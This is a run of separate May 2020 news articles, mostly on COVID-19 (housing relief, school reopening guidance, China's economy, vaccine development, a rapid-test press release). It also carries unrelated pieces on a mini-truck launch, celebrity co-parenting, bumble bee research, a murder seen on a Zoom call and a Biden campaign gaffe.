Under this proposal, landlords who agree to forgive rent payments and not evict tenants would get tax credits equal to the value of the lost rent. The tax credits would be transferable so the property owner could sell them to get cash immediately. The program would be available only to tenants who have a financial hardship because of COVID-19, and the tenants would have to repay their rent debt to the state over 10 years, starting in 2024.

Help small landlords

Most landlords are small-business owners, and most rental properties, particularly in California, are buildings with 10 or fewer apartments. If a few tenants cant pay the rent, thats a serious financial hit. Landlords could lose their properties to foreclosure or could be prompted to sell. Both scenarios could accelerate the shift from mom-and-pop landlords to investment firms that buy up distressed properties, evict the tenants, remodel the units and jack up the rents. Los Angeles and other cities are looking to create relief funds to help mom-and-pop landlords pay their bills and stay in business.

Buy hotels and motels

California cities and counties are already renting hotel rooms during the pandemic for homeless people who are 65 and older or have an underlying medical condition. Now Gov. Gavin Newsom wants to use $750 million in federal relief dollars to buy some of those hotels and motels and turn them into permanent homeless housing. This isnt a new idea. Local governments have been trying to buy up motels to held get people off the streets, but often the property owners were unwilling sellers. The post-pandemic economic outlook and ready cash from the government might change their minds. There's also discussion among philanthropic groups about creating investment funds to help nonprofit groups buy distressed properties to convert into affordable housing.

Put up tiny houses or trailers

This is another old idea that started to gain steam earlier this year. In January, Newsom began sending dozens of camping trailers to communities for temporary homeless housing. Los Angeles city and county partnered to put the trailers on publicly owned parking lots, creating transitional communities where homeless families could stay and get services while looking for permanent housing. After COVID-19 hit the state, Newsom moved to buy more than 1,300 additional trailers to provide homeless individuals a place to quarantine themselves safely. The pandemic showed its possible to find and quickly install temporary housing to get people off the streets. Going forward, theres no good reason cities, counties and states couldnt stand up more trailers and tiny houses on parking lots and vacant properties to provide a lot more homeless housing.

Encourage short-term rentals to convert to long-term tenancy

Before the pandemic, property owners could often rent a spare bedroom, a granny flat or a second home to tourists and earn a lot more money than if they took in a long-term tenant. Now, demand for short-term rentals has plummeted. Cities should consider ways encourage property owners to rent their units to long-term tenants, which could help owners pay their bills and get much-needed rental housing on the market.

Make it easy to repurpose commercial properties into housing





work from home forever
Masks for teachers and students, intense and frequent cleaning of schools and shared supplies, and limiting contact among students should all become a part of the regular school day according to guidance from the Centers for Disease Control and Prevention posted online this week.

The stark guidelines come as school officials confront the issues of reopening for the fall. How to maintain social distancing? How to keep facilities clean? How to transport children to and from school on buses?

Some amount of community mitigation is necessary across all steps until a vaccine or therapeutic drug becomes widely available, CDC guidance states.

Alabama State Superintendent Eric Mackey said it would be hard for schools here to follow all of them.

"Some of the things are just not reasonable for practical application," Mackey said.

"We are taking very careful thought of, including large amounts of what the CDC released, in our strategies and guidance," he added. "But we are not taking everything verbatim."

The Alabama State Department of Education on Thursday released guidelines for school officials to use for summer activities.

Mackey began last week meeting with members of a coronavirus task force to create a more detailed roadmap for schools looking to reopen in August. He expects the roadmap to be released in mid-June.

The CDC lays out three steps for officials to consider based on how prevalent the virus is in the community.

The first two steps apply when there is active transmission of COVID-19.

First, the CDC recommends screening all students and employees before they enter school for the day. That's according to a companion school decision tree. If that isn't possible, CDC says, the school should not reopen.

Second, keep children apart as much as possible. Large group gatherings of students should be avoided at all steps, which could mean closing school cafeterias and playgrounds when the disease is present in the school's community and keeping students with the same teacher for the entire school day.

During those phases, desks should all be faced in the same direction, have students sit on only one side of tables, and all children should be six feet apart. Schools should serve meals to students in their classroom when possible, close playgrounds and cancel field trips and extracurricular activities, CDC states.

Third, regardless of the level of disease transmission, the CDC recommends a base level of cleanliness and social distancing. That includes requiring face coverings for all staff and keeping supplies of hand sanitizer well stocked. That's essential at all phases of reopening, according to the CDC.

School employees must be trained in health and safety protocols, and signs promoting safe practices should be placed where students and teachers can see them.

Proper cleaning of school facilities, buses, and "frequently touched surfaces" and shared supplies must be done, and ventilation is important, too.

After prolonged school closures, the CDC cautions, water fountains must be properly cleaned to minimize the risk of Legionnaires' disease and other water-based diseases.

Mackey mentioned the CDC guidelines in a town hall meeting with music educators earlier this week, pointing out the struggle schools are facing.

When asked about how bands would be able to transport students on buses, Mackey was frank. "I don't know what we're going to do about transportation," Mackey said, describing the social distancing requirements and how rather than transporting 45 students, buses could only hold 15 students. "You can't afford all the extra buses it would take."

Even faced with those challenges, Mackey held firm on the goal to reopen schools.

One way of the other, we are coming back to school, he said. Our intention is, every bit, to start school in August.

This is the decision tree the Centers for Disease Control and Prevention issued for schools to consider when reopening.

Related stories:

Alabama publishes guidelines for school activities starting June 1

Theaters, sports practices, summer camps can reopen, Ivey says

Youth sports practices can resume this weekend in Alabama: HS sports June 1

Alabama 1 of 3 states to sign on with Google, Apple for coronavirus contact tracing app

For all of AL.coms coronavirus coverage, click here: https://www.al.com/coronavirus
At 2:30 p.m. May 22, Gov. Eric Holcomb will provide an update on the states response to COVID-19.

He will be joined by State Health Commissioner Dr. Kristina Box, Stephen Cox, the executive director of the Indiana Department of Homeland Security, Department of Workforce Development Commissioner Fred Payne and Luke Bosso, chief of staff for the Indiana Economic Development Corporation.

You can find more Recorder COVID-19 coverage here.

Watch:
Beijing

China's top economic official on Friday promised higher spending to revive its coronavirus-battered economy and curb surging job losses and said Beijing would skip setting a growth target in order to focus on fighting the disease.

The battle against the virus "has not yet come to an end," warned Premier Li Keqiang in a report to China's ceremonial legislature. He called on the country to "redouble our efforts" to revive the struggling economy.

China, where the pandemic began in December, was the first economy to reopen but is struggling to revive activity. Private sector analysts say as many as 30 percent of the country's 442 million urban workers  or as many as 130 million people  lost jobs at least temporarily when the economy shut down to fight the virus and as many as 25 million jobs might be lost for good this year.

The government's budget deficit will swell by 1 trillion yuan ($140 billion) this year to help meet targets including creating 9 million new urban jobs, Li said. That is in line with expectations of higher spending but a fraction of the $1 trillion-plus economic relief packages launched or discussed by the United States, Japan and Europe.

"These are extraordinary measures for an unusual time," the premier said.

Li said the ruling Communist Party set no growth target, usually a closely watched feature of government plans, due to the "great uncertainty" of the epidemic.

The world's second-largest economy contracted by 6.8 percent compared to a year earlier in the three months ending in March after factories, offices and other businesses were shut down.
The coronavirus pandemic has accelerated across Latin America, Russia and the Indian subcontinent even as curves flattened and reopening was under way in much of Europe, Asia and the US.

Many governments say they have to shift their focus to saving jobs that are vanishing as quickly as the virus can spread. In the US and China, the worlds two largest economies, unemployment is soaring.

The US Federal Reserve chairman has estimated that up to one American in four could be jobless, while in China analysts estimate around a third of the urban workforce is unemployed.

But the virus is roaring through countries ill-equipped to handle the pandemic, which many scientists fear will cause a second global wave.

(PA Graphics)

India saw its biggest single-day spike since the pandemic began, and Pakistan and Russia recorded their highest death tolls.

Most new Indian cases are in Bihar, where thousands returned home from jobs in the cities. For over a month, some had walked among crowds for hundreds of miles.

Latin Americas two most populous nations  Mexico and Brazil  have reported record counts of new cases and deaths almost daily this week, fuelling criticism of their presidents, who have held back from widespread shutdowns in attempts to limit economic damage.

Cases were rising and intensive care units were also swamped in Peru, Chile and Ecuador  countries lauded for imposing early and aggressive business shutdowns and quarantines.

Brazil reported more than 20,000 deaths and 300,000 confirmed cases on Thursday night  the third worst-hit country in the world in terms of infections by official counts. Experts consider both numbers undercounts due to widespread lack of testing.

President Jair Bolsonaro has scoffed at the seriousness of the virus and actively campaigned against state governors attempts to limit movement and commerce.

He fired his first health minister for supporting governors. His second minister resigned after openly disagreeing with the president about chloroquine, the predecessor of the anti-malarial often touted by US President Donald Trump as a viable coronavirus treatment.

Story continues

The crematorium at San Cristobal Mausoleums in Ecatepec, Mexico (Rebecca Blackwell/AP)

Mexican President Andres Manuel Lopez Obrador downplayed the threat for weeks as he continued to travel the country after Mexicos first confirmed case. He insisted that Mexico was different, and its strong family bonds and work ethic would pull it through.

The country is now reporting more than 400 deaths a day, and new infections have not peaked.

Russian health officials registered 150 deaths in 24 hours, for a total of 3,249.

But President Vladimir Putin said the outbreak has begun to abate, creating a positive environment for easing restrictions, as officials defended the countrys data on deaths against claims they were being under-reported.

Vladimir Putin (Alexei Nikolsky/Sputnik/Kremlin Pool Photo/AP)

Speaking during a video conference with senior officials, Mr Putin pointed at decreasing numbers of new infections in Moscow and other regions.

The positive dynamic is not so fast as we would like it to be, sometimes even unstable, but it does exist, he said.

Russia ranks second after the US in the number of infections with 326,448 cases.

In an eerie echo of famous Depression-era images, US cities are authorising homeless tent encampments, including San Francisco, where about 80 tents are now neatly spaced out on a wide street near city hall as part of a safe sleeping village opened last week.

The area between the citys central library and its Asian Art Museum is fenced off to outsiders, monitored around the clock and provides meals, showers, clean water and waste removal.

China announced it would give local governments two trillion yuan (230 billion) to help undo the damage from shutdowns imposed to curb the spread of the virus that first appeared in the city of Wuhan in late 2019 and has now infected at least 5.1 million people worldwide, according to a tally by Johns Hopkins University.

The Bank of Japan said it would provide the same figure in zero-interest, unsecured loans to banks for financing small and medium-size businesses.

European countries have also seen heavy job losses, but robust government safety net programmes in places like Germany and France are subsidising the wages of millions of workers and keeping them on the payroll.
Halifax, Nova Scotia--(Newsfile Corp. - May 22, 2020) - Sona Nanotech Inc. (CSE: SONA) (OTCQB: SNANF) (the "Company") is pleased to announce the engagement of MRIGlobal, a leading applied scientific research organization, to provide analytical and clinical validation studies for Sona's COVID-19 rapid detection, point-of-care, antigen test which will be used for submission to Health Canada for regulatory approval and the FDA for Emergency Use Authorization (EUA). MRIGlobal has three ISO 9001, CLIA certified, and FDA compliant BSL-3 laboratories located throughout the United States and works with government and corporate clients from around the world.

The project work will take place in MRIGlobal's Kansas City laboratories and will assess Sona's test using live SARS-CoV-2 virus following its past, successful internal evaluation using gamma irradiated virus. The EUA studies will follow the FDA's guidance for antigen testing, including assessments for sensitivity, specificity, cross-reactivity and interfering substances using patient samples and contrived (live viral culture) samples. The results of this assessment will be included as part of the Company's regulatory submissions to Health Canada and the FDA for EUA approval.

Sona Nanotech CEO, Darren Rowles, commented, "We are delighted to be moving into the final validation process and looking forward to the potential of a test that can tangibly advance the safety and quality of life for our communities. Our lab team, in particular, deserves credit for their tremendous work in significantly progressing our antigen test prototype in a short period of time."

Sona has received expressions of interest for tens of millions of its a COVID-19 rapid detection, point-of-care, antigen test and has secured non-binding letters of intent for 4.7 million of its tests, subject to test performance parameters and pricing. The Company has begun technology transfer activities with secured manufacturers and expects to begin taking deposits on letters of intent and expressions of interest following the completion and publishing of the validation results.

The Company cautions that its test is still an unvalidated prototype and will update the market as appropriate.

Contact:

Sona Nanotech Inc.

David Regan

Strategic Advisor

+1.902.448.1416

About MRI Global

MRIGlobal addresses some of the world's greatest threats and challenges. Founded in 1944 as an independent, non-profit organization, we perform contract research for government, industry, and academia. Our customized solutions in national security and defense and health include research and development capabilities in clinical research support, infectious disease and biological threat agent detection, global biological engagement, in vitro diagnostics, and laboratory management and operations. MRIGlobal is one of two partners in the Alliance for Sustainable Energy, LLC, which manages and operates the National Renewable Energy Laboratory (NREL) in Golden, Colorado, for the U.S. Department of Energy. For more information, visit mriglobal.org

About Sona Nanotech Inc.

Sona Nanotech Inc. is a nanotechnology life sciences firm that has developed multiple proprietary methods for the manufacture of various types of gold nanoparticles. The principal business carried out and intended to be continued by Sona is the development and application of its proprietary technologies for use in multiplex diagnostic testing platforms that will improve performance over existing tests in the market.

Sona's gold nanorod particles are CTAB (cetyltrimethylammonium) free, eliminating the toxicity risks associated with the use of other gold nanorod technologies in medical applications. It is expected that Sona's gold nanotechnologies may be adapted for use in applications, as a safe and effective delivery system for multiple medical treatments, pending the approval of various regulatory boards including Health Canada and the FDA.

NEITHER THE CANADIAN SECURITIES EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE CANADIAN SECURITIES EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This press release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. Sona disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56374
Maruti Suzuki India (MSI) on Friday launched BS-VI compliant S-CNG variant of its small commercial vehicle Super Carry priced at Rs 5.07 lakh (ex-showroom Delhi).

The mini-truck is powered by a 4 cylinder S-CNG dual fuel engine and comes with a 5-litre petrol tank, for on-road assurance, the company said in a statement.

It is equipped with an array of safety and convenience features like reverse parking sensor, seat belt reminder, lockable glove box and a large loading deck.

The launch of S-CNG variant Super Carry is aligned to the company's 'Mission Green Million' announced at Auto Expo 2020, it added.

Commenting on the launch, MSI Executive Director (Marketing & Sales) Shashank Srivastava said with over 56,000 units sold through the 320-plus strong Maruti Suzuki Commercial Channel network, Super Carry has been consistently outperforming the mini-truck segment.

"The introduction of the competitively priced BS-VI compliant S-CNG variant coupled with the government's renewed focus on CNG fuel availability will further strengthen the Super Carry brand," he added.

Srivastava said the bi-fuel S-CNG variant has been accepted very well in the small commercial vehicle market and already contributes around 8 per cent to the Super Carry sales.

With the Mission Green Million, we have further strengthened our resolve to increase our green vehicle portfolio," he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Charlie Sheen and Denise Richards have had their fair share of ups and downs during their two-decade-long relationship. Although they had only been romantically involved with each other for a couple of years, the fact that they have two daughters together meant that they had to stay in constant contact with each other, no matter how much they liked or disliked one another.

Sometimes, Sheen and Richards were able to put aside their differences and get along for the sake of their children. There were a few times, however, when the couple found it impossible to hide their disdain and would engage in very public, and sometimes very vulgar, arguments. Although their relationship was very tumultuous in the past, their communication and co-parenting skills seem to be drastically improving nowadays.

Denise Richards and Charlie Sheen | Steve Granitz/WireImage/Getty Images

RELATED: RHOBH: Denise Richards Protects Daughters From Dad Issues With Charlie Sheen, But It Might Be Too Late

How long were Charlie Sheen and Denise Richards married?

Sheen and Richards met in 2000 while filming Good Advice together. The next year, they worked together again in the sitcom Spin City, and soon after that Sheen asked Richards out on a date.

Richards later said that it was while she was on her second date with Sheen that she realized that he was the one, according to MSN. She also said that she didnt want to tell him right away because she was afraid that it would scare him off, but he apparently felt the same way because later that year, he proposed to her.

The couple were married in 2002 and had their first daughter in 2004. Everything seemed to be going well for Richards and Sheen for a while. However, in 2005, when Richards was pregnant with their second daughter, she filed for divorce. After their youngest daughter was born, they got back together for a few months, but ultimately decided to continue with the divorce.

Their split was pretty nasty, to say the least. During their divorce, Richards had filed a restraining order against Sheen and said that he had threatened to kill her and had hinted at the fact that he was going to try to kill her parents.

Denise Richards and Charlie Sheen had a rocky co-parenting relationship

The legal battle between Charlie Sheen and Denise Richards continues: https://t.co/w3Bi9ZSlkS pic.twitter.com/DwtaE3xJ0G  E! News (@enews) January 22, 2016

Since their divorce, Richards and Sheens relationship has been an emotional rollercoaster. And thanks to Richards role on the Real Housewives of Beverly Hills, a lot of the drama unfolded on national television.

For the most part, the two have tried to get along for the sake of their daughters. In fact, in the past, they have taken vacations together and holiday dinners together with their kids. They seemed to be getting along so well that there have even been several reconciliation rumors throughout the years, as reported by Womens Health. But Richards has always been quick to shut those rumors down.

In 2012, after taking their daughters on a vacation to Mexico, Richards said: [Sheen and I] have actually become like brother and sister, we really have. Nothing more than that.

Unfortunately, there have also been some pretty dark moments in their relationship after their divorce. In 2015, Sheen took to Twitter to call Richards the worst mom alive, and an evil sack of landfill [trash].

In 2019, RHOBH fans got to see their latest custody battle unfold. Richards had filed court papers claiming that Sheen owed her $450,000 in child support. She claims that she only mentioned the amount of money that was owed to her after Sheen had filed papers saying that he could no longer afford to pay the child support payments for his two daughters and his two sons from another marriage.

No matter what Richards reasons were for filing the court documents, Sheen said that her actions made her look as if she was behaving like a coward, according to US Weeky.

Denise Richards and Charlie Sheen are on much better terms now

Despite having their latest drama play out on TV, Richards recently told US Weekly that she and Sheen are in a really good place right now. Communication is great with him, Richards said. [My husband] Aaron [Phypers] and I actually saw him the other day.

She went on to say that she doesnt think that Sheen has seen her show or knows that she talked about their latest court case on there. But if he does find out, she doesnt think it will be a big deal because he knows obviously when you file something in court that its public.
Vaccines dominated the news this week, as the White House announced Operation Warp Speed, an initiative that aims to develop and manufacture hundreds of millions of doses of COVID-19 vaccines by the end of 2020.

Also this week, the company Moderna Therapeutics announced encouraging results for its vaccine in a small human-safety trial. The news sent Modernas stock soaring, and its valuation to $29 billion  amazing for a company that has yet to release a product, and which has yet to publish its data.

To discuss vaccines, and the novel coronavirus in general, we turned once again to vaccine researcher Dr. Peter Hotez. Hes a professor and dean of the National School of Tropical Medicine at Baylor College of Medicine, and co-director of the Texas Childrens Hospital Center for Vaccine Development. His lab is among the most prominent of the hundred or so, around the globe, that are scrambling to create a coronavirus vaccine.

In this weeks interview, he discusses his alarm that the Houston area doesnt yet have the public-health troops it needs to reopen; his worries about the anti-vaccine movement; and a surprising new funder of his labs coronavirus vaccine research  Titos Vodka.

Texas is loosening coronavirus-related restrictions and reopening the economy. What are your thoughts about that?

I understand the importance of opening up the economy. The worry that I have is that we havent put in place a public health system  the testing, the contact tracing  thats commensurate to sustain the economy.

Some models show fairly dire predictions for Houston. I'm referring to the Children's Hospital of Philadelphia model that shows that by the summer, if we're only at about 50% of the social distancing, we're doing now, Harris County could see a steep surge in the number of patients coming into the hospitals and intensive care units.

Its a model. It's only as good as the assumptions that it's based on, and we know the assumptions are not robust. But it gives me pause for concern that unless we have that health system in place, we could be looking at an epidemic that's far greater than the one we've gone through.

Let's say we're opening up as as we are now. The way a surge works is, it's not as if we're going to see a gradual increase in cases. The models say things will look good for weeks. At first, it's a flat curve, then it's flat, it's flat, and only after all that do you start seeing a steep, steep increase.

Thats what worries me. In those flat weeks well get this sense of complacency, and then people are going to start going into the bars. Forget about one quarter occupancy in the bars. Poison Girl, on Westheimer, is going to be full. And so are all the other places all across Houston.

Houston Chronicle

So: How do we fix that? I think its having a health system that's larger and more extensive than what's being proposed. We're going to have to do extensive testing in the workplace so that youd know if your colleagues have COVID-19  especially asymptomatic COVID-19.

The number of contact tracers has to be far greater than the numbers that I'm seeing. Gov. Abbott says that Texas has around 2,000 and plans to hire 2,000 more. But consider that Gov. Cuomo in New York State is hiring 17,000 contact tracers. A state that's quite a bit smaller is hiring a much larger number.

We also still don't have that syndromic-monitoring system in place that you and I have talked about  an app that would allow Houstonians to report how theyre feeling, or that would track temperatures, like the Kinsa electronic thermometer app.

We should be bringing in our best engineering minds out of the oil and gas industry, out of NASA, out of the Texas Medical Center to put in place an app-based system  maybe make a hybrid between the kinds of things being put out there by Apple or Google or Kinsa, or the kinds of things they're doing in Australia. We can design one that works for our culture, works for our system. But we're not assembling the engineers to put that in place.

We don't even have an epidemiological model for the city of Houston. Theres one for Dallas, put out by UT Southwestern and the University of Texas. Austin's put out one. But I havent seen one for Houston.

So I'm worried that if people are going to start piling into bars and restaurants, and we don't see the numbers going up, within a couple of weeks from now, it'll be business as usual. Everybody will feel good, will be saying, Hey, I'm not seeing the cases go up.

And its going to really accelerate starting in the fall. This is not only true of Houston; it's true of cities across the U.S. It would happen right before the 2020 election, so I worry about a lot of instability and how we mitigate that.

What are your thoughts on all the recent vaccine developments  the White Houses new Operation Warp Speed, the Moderna announcement and everything else?

I'm optimistic we will have several vaccines for COVID-19. As weve talked about before, actually making a COVID-19 vaccine is not that complicated. You need to make an immune response against whats called the spike protein, the protein part of the virus that interacts with the hosts tissues.

Now we know from recently published animal studies that we need high levels of what are called neutralizing antibodies. It's not just the amount of antibodies; its the amount of that special type of antibody. That's what our labs vaccine is focused on.

In fact, its what most of the coronavirus vaccines are focused on, although they use different approaches. We use a recombinant protein approach. Others use inactivated virus or RNA or DNA or adenovirus. Which ones are going to work best is hard to know. That will take time.

I think a lot of these vaccines, including the Moderna vaccine, and maybe our vaccine will start entering what are called Phase Three clinical trials, large clinical trials. I think Moderna will be the first, and over the next year to 18 months we'll have a better idea of whether we can have a safe and effective COVID-19 vaccine.

More from Lisa Gray Hotez: Scientists divided on what recent COVID decline means

I don't know that any particular vaccine has an advantage over the other. But unfortunately some of these companies are putting out press releases. You have to remember who the press releases are intended for. They're not intended for you or me or for CNN. They're intended for shareholders, for investors. And unfortunately, they're written in a way that's tone-deaf.

I spoke on CNN about my concern about that particular press release that Moderna put out. Given that there's no real data, you can interpret it either way: that it's a good news story or that its a bad-news story, that it may not be working. People were surprised to hear that.

I'm trying to stay focused on organizations that actually publish their data so the scientific community can see it. Even if you don't want to wait for the full peer review and publish in a journal, you can get things out there so people can see it. You can use pre-print servers  bioRxiv and metArXiv  to get the data out there.

I'm basically not reading any press release or any press announcements. Im gonna treat anybody who does that like hydroxychloroquine at this point. [Laughs]. Its got the same status.

But I do think we will have vaccines. Our lab is seeing some promise in laboratory animals. We put out some of our information on our vaccine on bioRxiv this week because we are able to achieve significant levels of neutralizing antibodies. Then its all about showing that we can reproduce that in people, and do it in a way that's safe.

I worry about some of the language being used, both by the White House  calling it Operation Warp Speed  and also by biotechs, in these irresponsible press releases. It makes it seem like we're rushing vaccines, or were doing things that may not be safe.

That's a central tenet of the anti-vaccine movement. They say that vaccines are rushed, they're not safe, that there are cozy relationships between the pharma companies and government, that they hide data.

They also say that vaccines cause autism, and Ive gone up against that. I'm a vaccine scientist and also the parent of an adult daughter on the autism spectrum. I wrote a book, Vaccines Did Not Cause Rachel's Autism.

ON PREVIEWHOUSTON.COM: Houston bars get green light to reopen May 22

So when companies put out these press releases saying that were going to have stuff in weeks or You don't need to look at the data, just take our word for it, that is really dangerous. Studies are going to come out to indicate that a significant percentage of the American population will not take COVID-19 vaccines even if they're available because they're so convinced by the anti-vaccine movement, which has been energized by the misinformation and misleading press releases.

We have a partnership with a group at City University of New York that is looking at what percentage of the American population has to be vaccinated to interrupt transmission. We don't have that answer yet, but I think it's going to be a pretty high percentage of the population.

So even if a COVID-19 vaccine is out there, if we feed into the anti-vaccine movement and Americans start refusing to take the vaccine, it may not achieve its purpose. We might not be able to interrupt transmission because not enough Americans are vaccinated.

I've been pushing hard on the White House and the National Institute of Health to adopt a communications plan  to put the kibosh on companies issuing press releases, and to have someone who's articulate explain how the vaccine program works, why we're not rushing it, why we're doing certain things.

In March, I was floored when you mentioned that besides running a lab, making media appearances and keeping up with fast-breaking research, you were also spending a significant amount of time raising money to support your research. Id assumed that as one of the leading coronavirus-vaccine labs in the country, and with that vaccine such a high global priority, that its research would have been fully funded already. Whats the status of that?

We're trying to move one of our vaccines into clinical trials and engaging the FDA  that's a lot of work. And we have a second vaccine also that we're trying to scale up.

So everybody's working very hard at the same time as we're trying to raise money for this. Myself and my science co-partner for 20 years, Maria Elena Botazzi, we've been on lots of calls, working with with Baylor and Texas Children's Hospital teams.

We've got some federal money, and also some private money. We announced last week $1 million from Tito's Vodka. So now, when you order your vodka martinis, you have to order Titos. Do not order any other vodka. It's all Titos! [Laughs.]

I like bourbon myself, but they haven't given us money yet. If you can send this to the people who make produce Maker's Mark, that would help me a lot. [Laughs.]

Wow. I dont think of booze companies as major supporters of critical medical research. How on earth did you hook up with Tito's?

Mark Mulligan, Houston Chronicle / Staff photographer

They contacted me! This is why I do podcasts.

I did an interview with this very interesting, very smart West Coast physician, Peter Attia, who does an in-depth podcast on health issues. I talked about the urgency to raise adequate funds to move this into clinical development. I think Titos heard my podcast with him.

What else do Houstonians need to know this week?

We're a resilient city. We have great strengths.

The one thing that Id like to see move ahead faster is that app for syndromic surveillance. I don't understand why we haven't convened our great engineers in oil and gas and NASA and the Texas Medical Center.

Why aren't we building on our strengths? We could do something in Houston that no other city could do.

This interview has been edited for length and clarity.

lisa.gray@chron.com, @LisaGray_HouTX
Scientists have discovered a new technique that bumble bees use to make plants flower earlier.

When faced with a shortage of pollen, bumble bees will damage plant leaves by eating them in order to make the plant flower earlier  sometimes as much as a month before it would flower naturally for tomato plants.

The researchers were not able to replicate the results by damaging plant leaves themselves, suggesting that there is a distinct characteristic to the bees biting that stimulates flowers. While the bees managed to make the plants flower 30 days earlier, scientists only managed to make them flower five days earlier than they would otherwise.

Using their mandables and tongue, the worker bees made holes in multiple plant species but did not use the tissue for any purpose, such as making their nests.

Wild worker bees from other species damaged the flowerless plant patches, which implies the behaviour is not unique to Bombus terrestris, the latin name for the most prominent species of bumble bee in Europe.

We really tried to replicate with the best of our ability, Prof Consuelo De Moraes, from ETH Zurich, the public research university in Switzerland which conducted the research, told the BBC.

It's possible that the bees also have some cue that they are providing to the plants that is specific to the bee. And that could be secretions that we don't know about but it's something that we plan to investigate.

Researchers have said that the damage is done in a distinctive manner  semi-circular incisions  that can be found on various plant life.

One of the students was saying that they were eating a salad the other day, and they saw that kind of damage on the leaf that was probably from a bumblebee, said Dr Mark Mescher, another author from ETH Zurich.

Alongside Dr Mescher and Professor De Moraes, the research was carried out by Foteini G. Pashalidou, Harriet Lambert, and Thomas Peybernes.

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An explanation that has not been confirmed, but that the scientists are considering, is that it is not the bees determining the flowering of the plants but rather the plants themselves, as the reproduction of the flora is dependent on its pollen being spread when pollinators  such as bees  are in the vicinity.

It is also possible that plants have evolved a new strategy to flower when they detect a bee damaging its leaves.

On a global scale, one of the reasons bees might be behaving in this manner could be climate change. Increasing weather events and extreme temperatures help push bees out of sync with flowers, which explains some of the dramatic losses, said Ms Lambert.
From Conroe to League City, Kingwood to Rosenberg and neighborhoods in between, open houses are back.

Real estate agents are planning a total of 3,221 open houses over the course of Saturday and Sunday, according to data from the Houston Association of Realtors.

The big push follows a period where the association blocked agents from advertising open houses to the public on har.com as businesses were shutting down and Houstonians were being told to stay home and practice social distancing. The group instead encouraged agents to use online tools to host virtual tours.

A SLOW COMEBACK: Chinatown beginning to see signs of life

Some agents, however, continued to open homes to the public. A $4.3 million house in West University attracted more than 40 visitors the first Sunday in May. The agent, Tim Surratt with Greenwood King, said he was was shocked.

"I was hoping for eight to 10 people," Surratt said the following Monday.

On May 18, when Gov. Greg Abbott declared Phase 2 of his Open Texas plan, HAR reinstated the ability to list in-person open houses on its website. It reminded agents to follow all recommended social distancing and safety guidelines and encouraged the continued use of virtual tours.

The association said historical open house events are not collected in its online system, but the number of open houses planned over the next two days seems to be on par with a typical spring weekend in Houston.
Now that everyone is on lockdown, video calls are in-demand. Zoom, particularly, is being used by many Americans to stay updated on families, friends, co-workers, and groups they're associated with. However, a different scenario happened in Long Island, New York, wherein a murder was caught exactly on a Zoom call, watched by 20 people.

72-year-old dad killed by son while on a Zoom call

Dwight Powers, a 72-year-old man from Long Island, New York, reportedly gets killed by his own son in a virtual meeting on Thursday, May 21.

According to ABC News, Suffolk County Police Department told the media that around 12 p.m. of Thursday at the Powers residence, the old man was caught on a Zoom call being allegedly stabbed by his own son.

"We don't know what they witnessed. There were a number of people on this conference call," police told the paper.

Witnesses said that they were under an ongoing Zoom call when the old man suddenly fell from his seat. After this, they saw a man-- which allegedly was the son-- hiding something using the bedsheets and put it on the floor.

"Bedsheets were being ripped off the bed by a gentleman who appeared to be naked as well as bald and he had a tattoo on his left arm, and then he placed the bedsheets on the floor as if he was covering something up," said a witness to the incident who did not want to be identified, WABC reported.

Zoom murder in New York

The live murder was watched by 20 people on the ongoing Zoom call. All of them didn't know who the old man was or where he lived. Several calls on 911 were reported after they saw the murder, but authorities only found his home after 10 to 15 minute-long.

"They all did the right thing," Suffolk County Police Det. Lt. Kevin Beyrer, commanding officer of the homicide unit, told Newsday. "They were all concerned about their friend. It was horrible that they had to witness this."

After police authorities found the Powers residence, the son, Thomas Scully-Powers, 32, reached the door but then slammed it to the policemen. The son tried to escape through jumping out in a window.

The suspect was caught running a mile away from his house. Thomas was brought in to the police department and was charged with 2nd-degree murder.

Since he jumped in a window, he experienced minor injuries that made the police transport him to a nearby local hospital.

Authorities said that they will still investigate the suspect and will conduct interviews on other possible witnesses around the time when the murder was committed.

It was also not clear by the authorities on what kind of Zoom meeting was conducted by the group, wherein Powers joined in.

ALSO READ: Zoom 5.0 to Require Users to Put Password, and Adds 'Report User' Button vs. Zoombombers

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
ATLANTAJoe Biden says he should not have been so cavalier after he told a prominent black radio host that African Americans who back President Donald Trump aint black.

The presumptive Democratic presidential nominee quickly moved to address the fallout from his Friday remark, which was interpreted by some as presuming black Americans would vote for him. In a call with the U.S. Black Chamber of Commerce that was added to his public schedule, Biden said he would never take the African American community for granted.

I shouldnt have been such a wise guy, Biden said. No one should have to vote for any party based on their race or religion or background.

That was an acknowledgement of the stinging criticism he received in response to his comments, which he made earlier in the day on The Breakfast Club, a radio program that is popular in the black community.

The rebukes included allies of Trumps reelection campaign  anxious to go on the offence after weeks of defending the Republican presidents response to the coronavirus pandemic  and some activists who warned that Biden must still court black voters, even if African Americans overwhelmingly oppose the president.

None of us can afford for the party or for this campaign to mess this election up, and comments like these are the kinds that frankly either make black voters feel like were not really valued and people dont care if we show up or not, said Alicia Garza, a Black Lives Matter co-founder and principal of Black Futures Lab.

Near the end of Bidens appearance on the radio program, host Charlamagne Tha God pressed him on reports that he is considering Minnesota Sen. Amy Klobuchar, who is white, to be his vice-presidential running mate. The host told Biden that black voters saved your political life in the primaries and have things they want from you.

Biden said that I guarantee you there are multiple black women being considered. Multiple.

A Biden aide then sought to end the interview, prompting the host to say, You cant do that to black media.

Biden responded, I do that to black media and white media, and said his wife needed to use the television studio.

He then added: If youve got a problem figuring out whether youre for me or for Trump, then you aint black.

Trumps campaign and his allies immediately seized on Bidens comments. South Carolina Sen. Tim Scott, a Trump supporter and the Senates sole black Republican, said he was shocked and surprised by Bidens remarks.

